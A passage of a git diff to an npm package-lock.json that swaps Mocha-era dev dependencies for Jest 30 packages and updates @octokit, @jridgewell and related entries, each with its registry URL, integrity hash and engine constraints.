"^4.1.2", + "collect-v8-coverage": "^1.0.2", + "exit-x": "^0.2.2", + "glob": "^10.3.10", + "graceful-fs": "^4.2.11", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-instrument": "^6.0.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^5.0.0", + "istanbul-reports": "^3.1.3", + "jest-message-util": "30.0.2", + "jest-util": "30.0.2", + "jest-worker": "30.0.2", + "slash": "^3.0.0", + "string-length": "^4.0.2", + "v8-to-istanbul": "^9.0.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } } }, - "node_modules/@types/minimatch": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz", - "integrity": "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==", - "dev": true - }, - "node_modules/@types/minimist": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.5.tgz", - "integrity": "sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==", - "dev": true - }, - "node_modules/@types/mkdirp": { + "node_modules/@jest/reporters/node_modules/@jridgewell/trace-mapping": { "version": "0.3.29", - "resolved": "https://registry.npmjs.org/@types/mkdirp/-/mkdirp-0.3.29.tgz", - "integrity": "sha512-QRLQpFsIQGO2k8pupga9abfei85GKotAtQ+F6xuQmSGomUt6C52TyMiTFpP8kUwuPKr00gNtu3itLlC6gvI/NA==", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", "dev": true, - "license": "MIT" - }, - "node_modules/@types/mocha": { - "version": "10.0.1", - "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-10.0.1.tgz", - "integrity": "sha512-/fvYntiO1GeICvqbQ3doGDIP97vWmvFt83GKguJ6prmQM2iXZfFcq6YE8KteFyRtX2/h5Hf91BYvPodJKFYv5Q==", - "dev": true + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } }, - "node_modules/@types/ncp": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/@types/ncp/-/ncp-2.0.8.tgz", - "integrity": "sha512-pLNWVLCVWBLVM4F2OPjjK6FWFtByFKD7LhHryF+MbVLws7ENj09mKxRFlhkGPOXfJuaBAG+2iADKJsZwnAbYDw==", + "node_modules/@jest/schemas": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.1.tgz", + "integrity": "sha512-+g/1TKjFuGrf1Hh0QPCv0gISwBxJ+MQSNXmG9zjHy7BmFhtoJ9fdNhWJp3qUKRi93AOZHXtdxZgJ1vAtz6z65w==", "dev": true, "license": "MIT", "dependencies": { - "@types/node": "*" + "@sinclair/typebox": "^0.34.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@types/node": { - "version": "15.14.9", - "resolved": "https://registry.npmjs.org/@types/node/-/node-15.14.9.tgz", - "integrity": "sha512-qjd88DrCxupx/kJD5yQgZdcYKZKSIGBVDIBE1/LTGcNm3d2Np/jxojkdePDdfnBHJc5W7vSMpbJ1aB7p/Py69A==", - "dev": true - }, - "node_modules/@types/rimraf": { - "version": "0.0.28", - "resolved": "https://registry.npmjs.org/@types/rimraf/-/rimraf-0.0.28.tgz", - "integrity": "sha512-xnLdvcPWgKF71R2DEQCZfXLutuAApHhJT+Y4/ptZ8FN610hSVT98TyLLkMjRm3VJ2BqUUXRjYtdZ12KvDXBT7A==", + "node_modules/@jest/snapshot-utils": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/snapshot-utils/-/snapshot-utils-30.0.1.tgz", + "integrity": "sha512-6Dpv7vdtoRiISEFwYF8/c7LIvqXD7xDXtLPNzC2xqAfBznKip0MQM+rkseKwUPUpv2PJ7KW/YsnwWXrIL2xF+A==", "dev": true, - "license": "MIT" + "license": "MIT", + "dependencies": { + "@jest/types": "30.0.1", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "natural-compare": "^1.4.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } }, - "node_modules/acorn-walk": { - "version": "8.2.0", - "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz", - "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==", + "node_modules/@jest/source-map": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-30.0.1.tgz", + "integrity": "sha512-MIRWMUUR3sdbP36oyNyhbThLHyJ2eEDClPCiHVbrYAe5g3CHRArIVpBw7cdSB5fr+ofSfIb2Tnsw8iEHL0PYQg==", "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.25", + "callsites": "^3.1.0", + "graceful-fs": "^4.2.11" + }, "engines": { - "node": ">=0.4.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/adm-zip": { - "version": "0.5.16", - "resolved": "https://registry.npmjs.org/adm-zip/-/adm-zip-0.5.16.tgz", - "integrity": "sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ==", + "node_modules/@jest/source-map/node_modules/@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "dev": true, "license": "MIT", - "engines": { - "node": ">=12.0" + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" } }, - "node_modules/ansi-colors": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", - "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "node_modules/@jest/test-result": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-30.0.2.tgz", + "integrity": "sha512-KKMuBKkkZYP/GfHMhI+cH2/P3+taMZS3qnqqiPC1UXZTJskkCS+YU/ILCtw5anw1+YsTulDHFpDo70mmCedW8w==", "dev": true, + "license": "MIT", + "dependencies": { + "@jest/console": "30.0.2", + "@jest/types": "30.0.1", + "@types/istanbul-lib-coverage": "^2.0.6", + "collect-v8-coverage": "^1.0.2" + }, "engines": { - "node": ">=6" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "node_modules/@jest/test-sequencer": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-30.0.2.tgz", + "integrity": "sha512-fbyU5HPka0rkalZ3MXVvq0hwZY8dx3Y6SCqR64zRmh+xXlDeFl0IdL4l9e7vp4gxEXTYHbwLFA1D+WW5CucaSw==", "dev": true, + "license": "MIT", + "dependencies": { + "@jest/test-result": "30.0.2", + "graceful-fs": "^4.2.11", + "jest-haste-map": "30.0.2", + "slash": "^3.0.0" + }, "engines": { - "node": ">=8" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/@jest/transform": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-30.0.2.tgz", + "integrity": "sha512-kJIuhLMTxRF7sc0gPzPtCDib/V9KwW3I2U25b+lYCYMVqHHSrcZopS8J8H+znx9yixuFv+Iozl8raLt/4MoxrA==", "dev": true, + "license": "MIT", "dependencies": { - "color-convert": "^2.0.1" + "@babel/core": "^7.27.4", + "@jest/types": "30.0.1", + "@jridgewell/trace-mapping": "^0.3.25", + "babel-plugin-istanbul": "^7.0.0", + "chalk": "^4.1.2", + "convert-source-map": "^2.0.0", + "fast-json-stable-stringify": "^2.1.0", + "graceful-fs": "^4.2.11", + "jest-haste-map": "30.0.2", + "jest-regex-util": "30.0.1", + "jest-util": "30.0.2", + "micromatch": "^4.0.8", + "pirates": "^4.0.7", + "slash": "^3.0.0", + "write-file-atomic": "^5.0.1" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/anymatch": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", - "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "node_modules/@jest/transform/node_modules/@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", "dev": true, + "license": "MIT", "dependencies": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@jest/types": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.0.1.tgz", + "integrity": "sha512-HGwoYRVF0QSKJu1ZQX0o5ZrUrrhj0aOOFA8hXrumD7SIzjouevhawbTjmXdwOmURdGluU9DM/XvGm3NyFoiQjw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.1", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" }, "engines": { - "node": ">= 8" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/arg": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", - "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", - "dev": true + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.12", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz", + "integrity": "sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + "node_modules/@jridgewell/gen-mapping/node_modules/@jridgewell/trace-mapping": { + "version": "0.3.25", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", + "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } }, - "node_modules/array-union": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", "engines": { - "node": ">=8" + "node": ">=6.0.0" } }, - "node_modules/assertion-error": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", - "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", + "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==", "dev": true, - "engines": { - "node": "*" + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", + "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" } }, - "node_modules/ast-types": { - "version": "0.14.2", - "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.14.2.tgz", - "integrity": "sha512-O0yuUDnZeQDL+ncNGlJ78BiO4jnYI3bvMsD5prT0/nsgijG/LpNBIr63gTjVTNsiGkgQhiyCShTgxt8oXOrklA==", + "node_modules/@napi-rs/wasm-runtime": { + "version": "0.2.11", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-0.2.11.tgz", + "integrity": "sha512-9DPkXtvHydrcOsopiYpUgPHpmj0HWZKMUnL2dZqpvC42lsratuBG06V5ipyno0fUek5VlFsNQ+AcFATSrJXgMA==", "dev": true, "license": "MIT", + "optional": true, "dependencies": { - "tslib": "^2.0.1" + "@emnapi/core": "^1.4.3", + "@emnapi/runtime": "^1.4.3", + "@tybys/wasm-util": "^0.9.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" }, "engines": { - "node": ">=4" + "node": ">= 8" } }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "engines": { + "node": ">= 8" + } }, - "node_modules/axios": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.8.3.tgz", - "integrity": "sha512-iP4DebzoNlP/YN2dpwCgb8zoCmhtkajzS48JvwmkSkXvPI3DHc7m+XYL5tGnSlJtR6nImXZmdCuN5aP8dh1d8A==", - "license": "MIT", + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", "dependencies": { - "follow-redirects": "^1.15.6", - "form-data": "^4.0.0", - "proxy-from-env": "^1.1.0" + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" } }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + "node_modules/@octokit/auth-token": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-6.0.0.tgz", + "integrity": "sha512-P4YJBPdPSpWTQ1NU4XYdvHvXJJDxM6YwpS0FZHRgP7YFkdVxsWcpWGy/NVqlAA7PcPCnMacXlRm1y2PFZRWL/w==", + "license": "MIT", + "engines": { + "node": ">= 20" + } }, - "node_modules/before-after-hook": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.2.2.tgz", - "integrity": "sha512-3pZEU3NT5BFUo/AD5ERPWOgQOCZITni6iavr5AUw5AUwQjMlI0kzu5btnyD39AF0gUEsDPwJT+oY1ORBJijPjQ==" + "node_modules/@octokit/core": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@octokit/core/-/core-7.0.2.tgz", + "integrity": "sha512-ODsoD39Lq6vR6aBgvjTnA3nZGliknKboc9Gtxr7E4WDNqY24MxANKcuDQSF0jzapvGb3KWOEDrKfve4HoWGK+g==", + "license": "MIT", + "dependencies": { + "@octokit/auth-token": "^6.0.0", + "@octokit/graphql": "^9.0.1", + "@octokit/request": "^10.0.2", + "@octokit/request-error": "^7.0.0", + "@octokit/types": "^14.0.0", + "before-after-hook": "^4.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } }, - "node_modules/binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true, + "node_modules/@octokit/endpoint": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-11.0.0.tgz", + "integrity": "sha512-hoYicJZaqISMAI3JfaDr1qMNi48OctWuOih1m80bkYow/ayPw6Jj52tqWJ6GEoFTk1gBqfanSoI1iY99Z5+ekQ==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^14.0.0", + "universal-user-agent": "^7.0.2" + }, "engines": { - "node": ">=8" + "node": ">= 20" } }, - "node_modules/brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "node_modules/@octokit/graphql": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-9.0.1.tgz", + "integrity": "sha512-j1nQNU1ZxNFx2ZtKmL4sMrs4egy5h65OMDmSbVyuCzjOcwsHq6EaYjOTGXPQxgfiN8dJ4CriYHk6zF050WEULg==", + "license": "MIT", "dependencies": { - "balanced-match": "^1.0.0" + "@octokit/request": "^10.0.2", + "@octokit/types": "^14.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" } }, - "node_modules/braces": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "node_modules/@octokit/openapi-types": { + "version": "25.1.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz", + "integrity": "sha512-idsIggNXUKkk0+BExUn1dQ92sfysJrje03Q0bv0e+KPLrvyqZF8MnBpFz8UNfYDwB3Ie7Z0TByjWfzxt7vseaA==", + "license": "MIT" + }, + "node_modules/@octokit/plugin-paginate-rest": { + "version": "13.1.1", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-13.1.1.tgz", + "integrity": "sha512-q9iQGlZlxAVNRN2jDNskJW/Cafy7/XE52wjZ5TTvyhyOD904Cvx//DNyoO3J/MXJ0ve3rPoNWKEg5iZrisQSuw==", + "license": "MIT", "dependencies": { - "fill-range": "^7.1.1" + "@octokit/types": "^14.1.0" }, "engines": { - "node": ">=8" + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" } }, - "node_modules/browser-stdout": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", - "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", - "dev": true + "node_modules/@octokit/plugin-request-log": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-6.0.0.tgz", + "integrity": "sha512-UkOzeEN3W91/eBq9sPZNQ7sUBvYCqYbrrD8gTbBuGtHEuycE4/awMXcYvx6sVYo7LypPhmQwwpUe4Yyu4QZN5Q==", + "license": "MIT", + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } }, - "node_modules/browserslist": { - "version": "4.24.4", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.24.4.tgz", - "integrity": "sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], + "node_modules/@octokit/plugin-rest-endpoint-methods": { + "version": "16.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-16.0.0.tgz", + "integrity": "sha512-kJVUQk6/dx/gRNLWUnAWKFs1kVPn5O5CYZyssyEoNYaFedqZxsfYs7DwI3d67hGz4qOwaJ1dpm07hOAD1BXx6g==", "license": "MIT", "dependencies": { - "caniuse-lite": "^1.0.30001688", - "electron-to-chromium": "^1.5.73", - "node-releases": "^2.0.19", - "update-browserslist-db": "^1.1.1" + "@octokit/types": "^14.1.0" }, - "bin": { - "browserslist": "cli.js" + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/request": { + "version": "10.0.3", + "resolved": "https://registry.npmjs.org/@octokit/request/-/request-10.0.3.tgz", + "integrity": "sha512-V6jhKokg35vk098iBqp2FBKunk3kMTXlmq+PtbV9Gl3TfskWlebSofU9uunVKhUN7xl+0+i5vt0TGTG8/p/7HA==", + "license": "MIT", + "dependencies": { + "@octokit/endpoint": "^11.0.0", + "@octokit/request-error": "^7.0.0", + "@octokit/types": "^14.0.0", + "fast-content-type-parse": "^3.0.0", + "universal-user-agent": "^7.0.2" }, "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + "node": ">= 20" } }, - "node_modules/buffer-from": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "node_modules/@octokit/request-error": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-7.0.0.tgz", + "integrity": "sha512-KRA7VTGdVyJlh0cP5Tf94hTiYVVqmt2f3I6mnimmaVz4UG3gQV/k4mDJlJv3X67iX6rmN7gSHCF8ssqeMnmhZg==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^14.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/rest": { + "version": "22.0.0", + "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-22.0.0.tgz", + "integrity": "sha512-z6tmTu9BTnw51jYGulxrlernpsQYXpui1RK21vmXn8yF5bp6iX16yfTtJYGK5Mh1qDkvDOmp2n8sRMcQmR8jiA==", + "license": "MIT", + "dependencies": { + "@octokit/core": "^7.0.2", + "@octokit/plugin-paginate-rest": "^13.0.1", + "@octokit/plugin-request-log": "^6.0.0", + "@octokit/plugin-rest-endpoint-methods": "^16.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/types": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-14.1.0.tgz", + "integrity": "sha512-1y6DgTy8Jomcpu33N+p5w58l6xyt55Ar2I91RPiIA0xCJBXyUAhXCcmZaDWSANiha7R9a6qJJ2CRomGPZ6f46g==", + "license": "MIT", + "dependencies": { + "@octokit/openapi-types": "^25.1.0" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@pkgr/core": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/@pkgr/core/-/core-0.2.7.tgz", + "integrity": "sha512-YLT9Zo3oNPJoBjBc4q8G2mjU4tqIbf5CEOORbUUr48dCD9q3umJ3IPlVqOqDakPfd2HuwccBaqlGhN4Gmr5OWg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/pkgr" + } + }, + "node_modules/@sinclair/typebox": { + "version": "0.34.37", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.37.tgz", + "integrity": "sha512-2TRuQVgQYfy+EzHRTIvkhv2ADEouJ2xNS/Vq+W5EuuewBdOrvATvljZTxHWZSTYr2sTjTHpGvucaGAt67S2akw==", "dev": true, "license": "MIT" }, - "node_modules/camelcase": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", - "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "node_modules/@sinonjs/commons": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", + "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": 